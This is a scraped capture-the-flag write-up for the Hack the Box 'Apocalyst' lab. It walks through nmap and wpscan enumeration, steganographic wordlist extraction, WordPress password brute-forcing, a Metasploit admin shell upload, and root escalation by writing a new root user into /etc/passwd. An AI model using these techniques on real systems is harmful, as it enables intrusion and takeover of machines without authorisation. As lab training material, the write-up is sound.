![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ed3tcTiWQjs/Wrc4oeyyDFI/AAAAAAAAVpM/mgsUsqjplnARn7rs2wxcKL4UzypsgPhQwCEwYBhgL/s1600/22.png?w=687&ssl=1)
At netcat you will get the reverse connection after 3 minutes from the time you will run crontab command. We have the root shell. And just by using the “ls” command we successfully located the root.txt
Great!! We got our 2nd flag successfully Enjoy Hacking!!
![[Image: 23.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Jue65Qy_VAs/Wrc4oZbwZ1I/AAAAAAAAVpI/5yW2LNab-MwvW1pmn-4wk10PN8UYXaJKwCEwYBhgL/s1600/23.png?w=687&ssl=1)
Today we are going to solve another CTF challenge “Apocalyst ” which is available online for those who want to increase their skill in penetration testing and black box testing. Apocalyst is retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level. We are going to start a new series of hack the box beginning with Apocalyst craft which is designed for beginners.
Level: Intermediate
Task: find user.txt and root.txt file in the victim’s machine.
Since these labs are online available therefore they have static IP and IP of Apocalyst is 10.10.10.46 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.46
1
nmap -A 10.10.10.46
From the given below image, you can observe we found port 22, 80 are open in the victim’s network.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-6BvokF1RJYE/WrYYY-DKlPI/AAAAAAAAVlQ/yGeXC-PKsGQjz0x4m5F0JSaEIIJl3SRdQCEwYBhgL/s1600/1.png?w=687&ssl=1)
Knowing port 80 is open in the victim’s network we preferred to explore his IP in the browser but didn’t get any remarkable clue on its Apocalypse Preparation blog for next step.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-O8H9y7tjxC0/WrYYbTeAFqI/AAAAAAAAVl8/H55tFvwG2q08p9q8HQXN0q5fFXRhwIV0gCEwYBhgL/s1600/2.png?w=687&ssl=1)
Now we have added the domain name of the target machine in the /etc/hosts file to access the webpage.
cat hosts
1
cat hosts
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-3NY2XimM5nI/WrYYcoB7X-I/AAAAAAAAVnE/pKesIJLpgG0nluuaE3GW7FJyJNGJUVAMQCEwYBhgL/s1600/4.png?w=687&ssl=1)
Next, we decided to give the name of the third host in the browser. Which has given us the Welcome page of the Apocalyst lab along with a message Apocalypse Preparation Blog.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-4y7eCadtrK0/WrYYcwA9eVI/AAAAAAAAVnM/fC6doiJaZbY2ldmtcrYD7KQFFrerhSNJQCEwYBhgL/s1600/5.png?w=687&ssl=1)
Now we decided to use the command on the URL that we have entered in the browser. To check if there are any kind of vulnerable themes, plugins etc.
wpscan -u [To see content please register here] --enumerate t --enumerate p --enumerate u
1
wpscan -u [To see content please register here] --enumerate t --enumerate p --enumerate u
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-EGptBXGRKLE/WrYYc-a-J9I/AAAAAAAAVnM/zbxMVnFl2fQ4sy3WDjPtkkiySAyY31epQCEwYBhgL/s1600/6.png?w=687&ssl=1)
The wpscan has enumerated the usernames where we have found the login credentials as falaraki.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-V6xHzXVOh_4/WrYYdCMLxpI/AAAAAAAAVnM/Jn8JJesnLG0yUr8GUj197pME5_vnywXcQCEwYBhgL/s1600/7.png?w=687&ssl=1)
Next, we use the dirb tool of kali to enumerate the directories from the .txt file. The command we have used is
dirb [To see content please register here] /root/Desktop/dict.txt
1
dirb [To see content please register here] /root/Desktop/dict.txt
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-t-c_MiW5stM/WrYYdWzUB0I/AAAAAAAAVnI/78h4pqHDduMG1QrmomBTkCfeJwdHdfZXwCEwYBhgL/s1600/8.png?w=687&ssl=1)
Now that we have found an important directory named as Rightiousness in the .txt file we enumerated.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-v9j0aCFhF2I/WrYYdTKK9MI/AAAAAAAAVnQ/jpAmLPXG0AQUoBkhI5U2eZPArtni5afXgCEwYBhgL/s1600/9.png?w=687&ssl=1)
So next we decided to explore [To see content please register here] through browser URL and what we see is an image opened on the browser. As shown below.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-36zPA7zIsP8/WrYYYxJpX-I/AAAAAAAAVnQ/mlAT0sYCjVQ52igav643o3CP-W4qOhDTwCEwYBhgL/s1600/10.png?w=687&ssl=1)
The image got us wondering there must a clue behind the Image. On second thought we decided to do Steganalysis on the image. Using the steghide –info image.jpg command in the kali terminal. And we found there is a list.txt file embedded behind the image.
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-J3fu1cU9gCc/WrYYYxQiLpI/AAAAAAAAVnM/b7WrGEWYCAsG8OxtXPNhjiwtQOg7gIbdQCEwYBhgL/s1600/11.png?w=687&ssl=1)
Now we need to extract that list.txt file embedded behind the image. Therefore we used steghide –extract –sf image.jpg command for extraction. We simply need to leave the Enter passphrase option blank and Press Enter. List.txt file has successfully been extracted on our Desktop.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-H09MpVjf0e0/WrYYZvun-6I/AAAAAAAAVm4/GpJZMbuXX4YUKBq-hTb4Lpj89soVU1UqACEwYBhgL/s1600/12.png?w=687&ssl=1)
Again we have used wpscan to find out the password credentials for the login credentials Falaraki we earlier took using the wpscan. Here we have used
wpscan –u [To see content please register here] --username falaraki --wordlist /root/Desktop/list.txt
1
wpscan –u [To see content please register here] --username falaraki --wordlist /root/Desktop/list.txt
the command to enumerate the password from the list.txt file.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ct21lNcjqNM/WrYYZ3uECfI/AAAAAAAAVnE/ogLBOxwVf9kd8S5hmnmrhATxnWeTd9u-gCEwYBhgL/s1600/13.png?w=687&ssl=1)
We see that for login credentials falaraki, the password credentials matched is Transclisiation.
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-CFREGgr_pzs/WrYYZzMxuoI/AAAAAAAAVnE/4M0vA3NAUE8ihiEorHSM_GvPK6A2oIoOgCEwYBhgL/s1600/14.png?w=687&ssl=1)
After finding the username and password, we have used metasploit’s exploit wp_admin_shell_upload to upload the shell and get the meterpreter which is shown below.
use exploit/unix/webapp/wp_admin_shell_upload
set rhost 10.10.10.46
set username falaraki
set password Transclisiation
exploit
1
2
3
4
5
use exploit/unix/webapp/wp_admin_shell_upload
set rhost 10.10.10.46
set username falaraki
set password Transclisiation
exploit
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-W93nTeLCet0/WrYYaCM0ptI/AAAAAAAAVm8/4-fH3VVdpd8On9ermfRv_LqvhLrIb3Z9QCEwYBhgL/s1600/15.png?w=687&ssl=1)
Once we have got the meterpreter. We have used command ls –la /home to check what kind of directories are on home. Then we check inside the falaraki directory using command ls –la /home/falaraki, here we found out the user.txt file and used cat /home/falaraki/user.txt to read the file content which contains our first FLAG!!
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-4_CYAyBYeWQ/WrYYaVF04RI/AAAAAAAAVm8/IDg7nn14GEIZK_cGZsThQdX812KJVEr5gCEwYBhgL/s1600/16.png?w=687&ssl=1)
Now we used command ls –la in the falaraki directory as shown. Here we discovered a file named .secret which left us curious to read its content using the cat .secret command. It contains an encoded code in base64 which we need to decode to read the content behind it.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-NV16qX6pxGs/WrYYaRqAwUI/AAAAAAAAVm4/OTe-WSijlz0_Ir4CRE52k3ZjU5t6hHrhwCEwYBhgL/s1600/17.png?w=687&ssl=1)
Now to decode the encoded content in base64 we used command echo “Encoded Content” | base64 –d. This gave us a decoded form of the content as shown in the image below.
![[Image: 18.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-ykSzW8Mcqsc/WrYYa4zF0EI/AAAAAAAAVnM/H91D7wTlI40l8Eyds8a-kTVxNWTyTp-FgCEwYBhgL/s1600/18.png?w=687&ssl=1)
Now Let’s we try to access the user falaraki using ssh, here we have given the command
ssh [email protected]
1
ssh [email protected]
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-owVbSHTHhuk/WrYYbCAJ4eI/AAAAAAAAVnA/xM99WBpoNt8nS8yrJP90YRw15khU7TdSQCEwYBhgL/s1600/19.png?w=687&ssl=1)
On another terminal LinEnum tool from GitHub which is very well-known for checking privilege escalation in directories. First, we have downloaded the Linenum-master.zip file from GitHub. After that, we have shared the Linenum-master folder over the server by making a simple HTTP server on port 80 using the command
unzip LinEnum-master.zip
cd LinEnum-master/
ls
python –m SimpleHTTPServer 80
1
2
3
4
unzip LinEnum-master.zip
cd LinEnum-master/
ls
python –m SimpleHTTPServer 80
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-F1WhnQZMcT8/WrYYbWq_YqI/AAAAAAAAVnM/gLkVKc40jV8R6JNa9eu-Xb39ZZn5BG_rQCEwYBhgL/s1600/20.png?w=687&ssl=1)
Now we will download the shared file using wget [To see content please register here] command for our falaraki@apocalyst user. Now need to give permission to LinEnum.sh using command chmod 777 Linenum.sh. Now to execute it we have given command ./LinEnum.sh.
![[Image: 21.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-QUwWHbx5NSk/WrYYbsX4KhI/AAAAAAAAVnQ/2vIMWIRvIIsGiuxtkxfbnXt3jhE5PqiMQCEwYBhgL/s1600/21.png?w=687&ssl=1)
The LinEnum tool has given all the sensitive files that can be read/write in the falaraki directory.
![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-zWWawUEExsE/WrYYb4yWjCI/AAAAAAAAVm8/1xDGkOr6nOQjZEzNv0YgDPkLIjv2TFogQCEwYBhgL/s1600/22.png?w=687&ssl=1)
In a new terminal, we are using OpenSSL to make a new salted combined username and password in MD5 algorithm. For this the command used is
openssl passwd -1 -salt raj pass123
1
openssl passwd -1 -salt raj pass123
![[Image: 23.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-uApn45EaeJo/WrYYb5JOFpI/AAAAAAAAVm8/8-UfHsrYIDA9a61PAscHpdXohsFGllCIgCEwYBhgL/s1600/23.png?w=687&ssl=1)
Now using vi /etc/passwd command we are editing the passwd directory for adding a new user. The for the new user is username: Salted Value of username and password:0:0:root:/root:/bin/bash, we have saved this new user by using: wq command.
![[Image: 24.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-hNZQJqaFerM/WrYYcIcMqwI/AAAAAAAAVm8/VzTzKK5vaZcMoEaJX_3aByi4zQ6tfyM8ACEwYBhgL/s1600/24.png?w=687&ssl=1)
Now we simply check if the user has been successfully added or not, so as to find them. For this, we have used su -raj command and in the password, we have given the password for this user which is pass123. We are finally in the root privilege of the Apocalyst by using ls command we see a root.txt file, whose content we would like to see by using the cat root.txt command. Finally, we found our final FLAG!!
|
|
|
|
|